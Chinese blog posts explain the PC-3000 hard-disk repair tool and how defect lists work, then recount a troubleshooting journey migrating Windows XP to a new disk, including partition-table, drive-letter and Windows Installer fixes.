  PC-3000是由俄罗斯著名硬盘实验室ACE Laboratory研究开发的商用专业修复硬盘综合工具,它能破解各种型号的硬盘专用CPU的指令集,解读各种硬盘的Firmware(固件),从而控制硬盘的内部工作,实现硬盘内部参数模块读写和硬盘程序模块的调用,最终达到以软件修复多种硬盘缺陷的目的。另外,它在数据恢复方面也有其特别的功效,大部分OEM硬盘厂商也很难全部掌握这些功能。ACE Laboratory经过十多年的不断研究,PC-3000 V12(最新版本)已能支持大部分新旧型号的IDE接口硬盘,容量从40MB至200GB。其强劲的修复硬盘功能已得到世界各国的专业硬盘维修公司所认可,目前在世界各地已有数千个专业级用户,据说每天用PC-3000修复好数千到上万个缺陷硬盘 厂家维修硬盘的方法 这里其实可以向大家先说明一点,即使是从厂家出来的全新硬盘,它们的盘片也不是一点瑕疵也没有的。由于磁盘的盘片比较精密,对于生产环境和移动都有非常高的要求,即使是一粒灰尘、一次很轻微的碰撞,都会产生从几个到数以百计的坏扇区。所以,一般地,按照现在硬盘120GB的容量,全新的盘片即使有几千个坏扇区也不是不可能的。只不过硬盘厂商会使用专门的设备去扫描盘片,把那些坏的扇区和磁介质不稳定的扇区都记录下来,做成一个硬盘缺陷列表,写进系统保留区,通过控制程序把这些扇区封闭起来,而硬盘的控制程序在读取硬盘的时候是不会读取这些区域的。现今的硬盘由于功能和参数复杂,写进系统保留区的信息非常多。这样,由于在底层控制的层面就已经把有问题的扇区封闭掉了,所以用户无论用什么格式化和分区软件都不会看到这部分的信息,看起来就像真的完全没有坏道一样。同时,硬盘里面还有另外一种封闭区域,又称为保留容量,它们其实是完全没有问题的好的盘面,但是因为某种原因被封闭起来了。譬如说一个硬盘是60GB,而磁碟的单碟容量为40GB,那么由两片磁碟构成的硬盘就必须封闭掉20GB的容量(磁碟的生产线都是一定的,厂商为了降低成本,都只会生产一种容量的磁碟,通过封闭不同容量的区域来获得不同的实际硬盘容量)。

  弄清楚了硬盘的生产原理,那么厂商如何维修硬盘就很好理解了。对于控制电路、磁头等的损坏,就是应用最简单的替换法,换上新的零件就可以了。对于IC芯片的损坏,可以通过重写IC芯片的信息或者干脆替换IC芯片来修理。对于磁盘盘片的问题,情况就比较复杂。首先,厂商会用专门的仪器设备对硬盘的磁碟表面按照实际的物理地址重新进行全面的扫描,检查出所有坏的、不稳定的扇区,形成一个新的硬盘缺陷列表,然后把它写进硬盘的系统信息区,替换掉原来旧的硬盘缺陷列表。然后调用内部低级格式化程序,对硬盘进行内部格式化。程序会根据新的系统信息区信息,重新对所有的磁道和扇区进行编号、清零,重写磁道伺服信息和扇区信息。经过这样的处理,返修的硬盘就又可以像新的硬盘一样了。

  有人可能会有疑问——既然有新的坏扇区加进系统保留区去了,那么硬盘的容量应该减少才对啊。其实这是不必担心的,我们上面提到过有另外一种被封闭区域,它们其实是完全没有问题的好的盘面。厂商的设备既然可以封闭新出现的坏扇区,当然也可以从被封闭的完好盘面上提取出相应的扇区容量来替代被封闭的坏扇区。现今的硬盘一般都有非常可观的保留容量,最少的也有好几个GB,大的可以达到20~30GB甚至更多。

  那么,是不是返修过的硬盘跟新的硬盘是完全没有差别的呢?这里牵涉到一个工艺学的问题——损伤的内敛性和发散性的区别,我打算留到后面说,这里先说说那些第三方软件修复硬盘的原理。

  [编注:拥有比其他同类软件更强大功能的PC-3000引发了国内论坛的强烈争论,其中一部分人认为:不但普通的电脑用户可以修硬盘,而且业务稍与硬盘相关的公司都可能打出硬盘修理的招牌,从而令硬盘修理行业重新大洗牌,最难过的是那些依靠修理硬盘为生的专业人士,他们数年的经验优势在PC-3000面前所剩无几!有人甚至认为“一款软件不可能支持整个产业,但PC-3000绝对可以”。

第三方软件的修复原理


  我们这里说的第三方软件修复硬盘,主要讨论的都是修理硬盘扇区的物理性损坏——逻辑坏道没有什么好讨论的,修复并不难。目前,第三方软件修复硬盘扇区的物理性损坏一般有两个主要方式:反向磁化和修改硬盘缺陷列表。
  反向磁化是最先被应用的一种修复硬盘扇区物理性损坏的方式。一般地,硬盘的磁头只能负责读取和写入信号,而读取、写入数据信号所需要的电平信号跟磁盘表面的磁介质本身是不一样的。而反向磁化就是通过用软件指令迫使磁头产生于磁介质本身相应的高低电平信号,通过多次的往复运动对损坏或者失去磁性的扇区进行反复加磁,使这些扇区的磁介质重新获得磁能力。HDD Regenerator就是最先采用这种方式的软件,后来有一些软件通过分析它的算法和指令,也掌握了反向磁化的信号,采用跟它相同或者相似的引擎进行反向磁化。要注意的是,现在市面上有不少所谓的专业硬盘维修公司发布了一些自称可以维修硬盘坏道的软件,一般也要300元左右,其实他们只是通过Ultra Edit、Pctools等二进制编辑工具对HDD Regenerator的界面信息进行改写;或者对HDD Regenerator进行脱壳,换上自己编写的外壳界面摇身一变而成的。说白了就是盗版的HDD Regenerator,这请大家务必区分清楚。进行反向磁化最大的缺点是速度慢,对一个磁介质不稳定或者失去磁能力的扇区进行磁化,磁头很可能要往复成百上千次,如果硬盘只有几十个或者几百个坏扇区的话,慢慢熬也是可以的。但是现今硬盘动辄上百GB的容量,有上万个坏扇区也是很平常的事情,这时候如果用这种方法去修,大概还没有修到10%,磁头就会因为疲劳过度变形了,本来通过隐藏分区后还可以用的硬盘就会彻底报废。而且这些扇区的磁介质本身就是不稳定的,即使磁化了,在一段时间内可以使用,但随时有重新失去磁能力的危险,硬盘其实并不稳定。同时,这种方法并不能修复物理划伤这种硬损坏。
  修改硬盘缺陷列表的方式就是对反向磁化的改进,这种方法和上面说的硬盘厂商的维修方式非常相似。前面说过了,硬盘厂商对于自己硬盘产品的系统信息区的信息内容和读取的指令代码,一般是不公开的,但是一些技术人员通过分析和逆向工程,破解了厂商的指令代码甚至Fireware,使得他们可以编制出程序软件,自由地读取、修改和写入硬盘系统信息区的信息。这样,他们同样可以像硬盘厂商一样,编写程序对磁盘盘面按照物理地址进行扫描,重新构造出新的缺陷扇区列表写进系统保留区来替换原有的列表。经过这样的软件维修的硬盘,理论上说是跟硬盘厂商维修的硬盘是没有差别的。这种软件因为有了这个功能,所以价格非常昂贵,PC-3000要上万元,效率源专业版(零售版只能修复ECC错误和CRC错误,其实什么也干不了)也要六百多,而且他们是不包括以后的升级技术支持的,因为这些软件有着一个非常致命的弱点——毕竟他们是通过破解获得的数据,在一定程度上说是非法的。不同的硬盘厂商、甚至同一厂商不同型号的硬盘,对于系统保留区的控制代码都是不一样的,Fireware也不同,为了让软件有通用性,他们必须通过不断地破解新的硬盘型号才能使软件支持更多的硬盘。而如果因为你购买了一套软件他们就要不断给予升级支持的话他们是绝对不干的,为了要修更多的新的硬盘型号,你就必须不断地支付升级费用。在另一方面,对硬盘的系统信息区信息,如果破解得好还可以,如果破解得不好,把信息修改写进去以后,轻的会让硬盘在读写时频频出现错误,不稳定;重的就会报销掉这个硬盘了。

2007年3月14日星期三

转移系统记(下)

  新硬盘插上电脑后,启动显示Load OS Error。解决的方法深山红叶WinPE里就有,可惜那时没看到,白白费了很多工夫,走了很多弯路。(解决方法:用软盘启动电脑,以diskedit /m /w模式运行;按Alt+P, 不做任何修改,直接回车;按F2以16进制方式查看,把000001B0 地址行的倒数第二个16进制数值改为80。当然软盘已经被淘汰了,可以用U盘或者WinPE。原因是硬盘分区表中的活动分区标志80H被改成00H以外的其它数值(如被改成FFH)。回想起来复制系统的时候新硬盘的盘符被分配为L、M、N、O而不是C,D,E,F,应该就是问题的起因。)
  当时不知道,以为是SATA(新硬盘)和IDE(光驱)混插的问题,因为光驱一个月放假前还好好的,读不出盘是没有读盘动作而不是红灯猛亮,盘体高速旋转与空气摩擦发出哗哗声的情况。于是想修复安装算了。(又借来光驱)
  修复安装,全新安装都可以分两步,第一步是复制一些文件到硬盘然后重启,第二步才是真的安装。一个灵异的问题发生了:第一步完了,重启之后不是进入第二步而是再来一次第一步,试了几次,又换了盘,仍然如此。又想到可能是SATA和IDE混插问题,死马当活马医,Bios中屏蔽光驱,终于行了……
  不过装的时候比修复安装多复制了一些文件,还要输入CD-Key(修复安装一般是不需要的),估计是由于之前不成功,多次修复安装导致。(更正:修复安装都是需要的)

  装好了,困难才刚刚开始。第一次花了几分钟才进了系统,打开资源管理器一看,盘符是L、M、N、O……微软真是太有才了,连这都还记得……
  由于盘符不是C、D、E、F,快捷方式全都没用了,而且系统启动慢多了。后三个盘的盘符在控制面版的管理工具里就可以改,启动盘就不行了。想了无数的办法,去掉启动程序是必然的了(因为在其他环境里盘符都是C、D、E、F,结合启动速度慢,估计是启动时系统又把盘符改成L,M,N,O),但是没有效果。WinPE光盘启动,尝试了里面的磁盘管理软件,没用。
  WinPE里有个ERD2003可以修改硬盘上系统的设置,改盘符没用,试过修改D盘为活动分区然后复制系统到D盘再启动,无法启动。可能是要把D盘再设为主盘才行,不过没敢试,怕破坏数据。只有先回到原来的状态。
  山重水复疑无路,柳暗花明又一村。google找到了微软的文章:《在Windows 中如何恢复系统/启动驱动器的驱动器号》。简单说来就是修改注册表中的HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices,把\DosDevices\C:这些盘符改成想要的然后重启。我完全照上面说的做了,然而重启之后居然进不了系统(准确地说是卡在进入前夕)……微软岂只有才,简直是天下之才合计十斗而独占其八。
  不过考虑到盘符都改好了,这次再修复安装应该就没问题了。修复安装确实能正常进入系统,盘符也对了。不过,这一切还没有结束……

  重装系统后第一件事该做什么?答曰:打补丁。上Windows Update网站,被要求打补丁前先安装Windows Installer 3.1。灵异的问题又出现了:怎么都装不上(而且安装失败也要重启,此处省略XX次frustrating的失败经历)。期间想看点电影轻松一下,又发现Windows Media Player工作不正常(这倒在意料之中,毕竟原来版本是11,重装降回9会冲突),就连在控制面版里卸载都不成功。实在对微软佩服得五体投地。幸好Windows目录里专门有个WMP11的卸载文件夹,成功卸载后再装上去,可以正常工作了。
  回到Windows Installer上来。手工下载安装文件安装,提示拒绝访问。一开始怀疑是因为某些已装的更新,全部卸载后重试,仍然不行。值得一提的是这个安装失败会立即强制重启,比上次的更甚……又卸载掉IIS和.Net Framework,仍然不行。尝试卸载Windows Installer,但修复安装没有它的卸载……弄了个Windows Install Clean Up,据说可以卸载Windows Installer,但只看到可以卸载通过Windows Installer安装的其他程序……
  上网搜索兼自己摸索后如此解决:进Dos重命名C:\windows\system32\下的msiexec.exe、msi.dll、msihnd.dll(原来拒绝访问的是这几个文件),重启后安装,装完再把它们改回原来的名字。这里再次膜拜一下微软,安装失败的log我看过,说是注册表写入失败。如果能够说明是这几个文件拒绝访问,我想也不至于费那么多工夫。

  到目前为止没有再出现别的问题,可以认为系统转移完毕。如果再出现问题,我会继续更新。

补充:复制系统到新硬盘最简单的方法

  后来又试过西数的硬盘维护工具Western Digital Lifeguard,分区/格式化有两个选项:

1.Add the drive as an additional storage device(把此硬盘作为附加的存储设备)
2.Add the Drive as the new boot device(把此硬盘作为新的启动设备)

选第2个的话,分区/格式化以后会把C盘的所有文件复制过去,连原来在windows中不能复制的ntuser.dat等文件都可以。(这个软件是运行在windows环境的,真不知他们用了什么方法)。这个过程之后会自动关机,然后新硬盘就可以启动了。不过这个程序不会复制windows/installer这个文件夹,会导致Office无法使用等问题,需要自己手动复制。

转移系统记(上)

前言:这篇文章记录了我的一次复制系统的过程,可能是极其枯燥无味的。如果您想立即看到转移系统的最佳方法,请看下篇的结尾。
引子
  家里电脑的硬盘坏了,买了一块新硬盘装在自己的电脑上,自己电脑原来的硬盘装家里电脑。家里电脑主板芯片组(准确地说是北桥芯片)是845,自己电脑是848。因为不想重装系统了(以后数不胜数的麻烦就从这个“偷懒”开始,教训啊教训,不过也学到了一些东西),直接把原系统复制一份到新硬盘。原硬盘要换主板插(848=>845),我也知道要先把驱动程序卸载掉免得冲突。别的都卸载了,就是Intel的芯片组驱动是没有卸载程序的。想着都是Intel芯片组,可能不卸也行吧(又一个导致麻烦的偷懒),不对应该也可以进系统弄吧(结果证明是不行)

  复制的过程中还出了别的问题。系统使用中的文件是不可复制的(比如ntuser.dat),幸好原来一直装着MaxDos(当初是为了刷显卡Bios,现在看来自己对这电脑实在折腾得不少。小记一点:MaxDos中开启NTFS支持是在A:\输入ntfsdos),尝试在Dos中使用Xcopy全文件夹复制不果,如果复制Windows中不可复制的个别文件,又不知道哪些是不可复制的,要一个个试。上网搜索指南时更发现Xcopy不能复制系统和隐藏文件,非要复制的话还要用attrib去掉隐藏属性……算了。
  不过当然还有办法,就是光盘上的操作系统——WinPE。屋漏偏逢连夜雨,光驱又坏了。借来一个插上,总算复制好了。(真是一个多灾多难的不祥的开头)

  原硬盘拿回家插上845主板,总是在进入系统的前夕自动重启,我也知道是驱动冲突了。启动按F8,先选发生错误不要自动重启,的确是说驱动错误。重启,这次选安全模式也是进不去。心想不就是几个inf嘛,照例用WinPE进入删除。第一次是删除我认为有关系的inf(当然也看了网上的文章,特别是万用Ghost制作方面的,其实就是这个原理,可惜那是在系统里卸载硬件,现在是进不了系统了),没有效果,于是删除整个inf文件夹(这里我留了一个心眼,是放入回收站而不是直接删除)。WinPE的资源管理器崩溃(毕竟文件太多了,光盘上利用内存虚拟作硬盘的系统吃不消),幸好上面还带了一个Total Commander,删除完成。本来以为重启后系统会自动安装硬件,结果是干脆连系统前夕都进不去了,提示:找不到biosinfo.inf,请用恢复控制台修复系统。

  恢复控制台是系统安装盘上的东西,插入系统安装盘从光盘启动,要用才知道这东西是要管理员密码的……应该是Admin用户的密码吧,又说不对。干脆进WinPE系统用软件修改其密码,仍然是不行。上网找文章一看,这个恢复控制台就是Dos一般的东西……算了。我哪知道biosinfo.inf是在哪个cab压缩包里。何况不会只缺这个文件,一个个找起来太麻烦了。我也试过还原inf文件夹,结果发现WinPE上的回收站只是一个文件夹而已,要还原要自己一个个文件地拖……资源管理器崩溃是一定的了,而且尝试时Total Commander似乎也完成不了这个艰巨的任务……

  这条路看来走不通了,只能老老实实重装系统了。这个过程倒是没有出现问题。XP有一个修复安装,装完后所有软件和设置都还在。

  至此,总算弄好了一个系统。当时还不知道,更大的难题还在后面……

补充:下一次回家的时候发现修复安装后原来的系统更新都会没了,不过这倒怪不得微软。上Windows Update,又是要装Windows Installer。用下篇的方法装上了,可Windows Update不认(囧),还好卸载后上Windows Update装好了。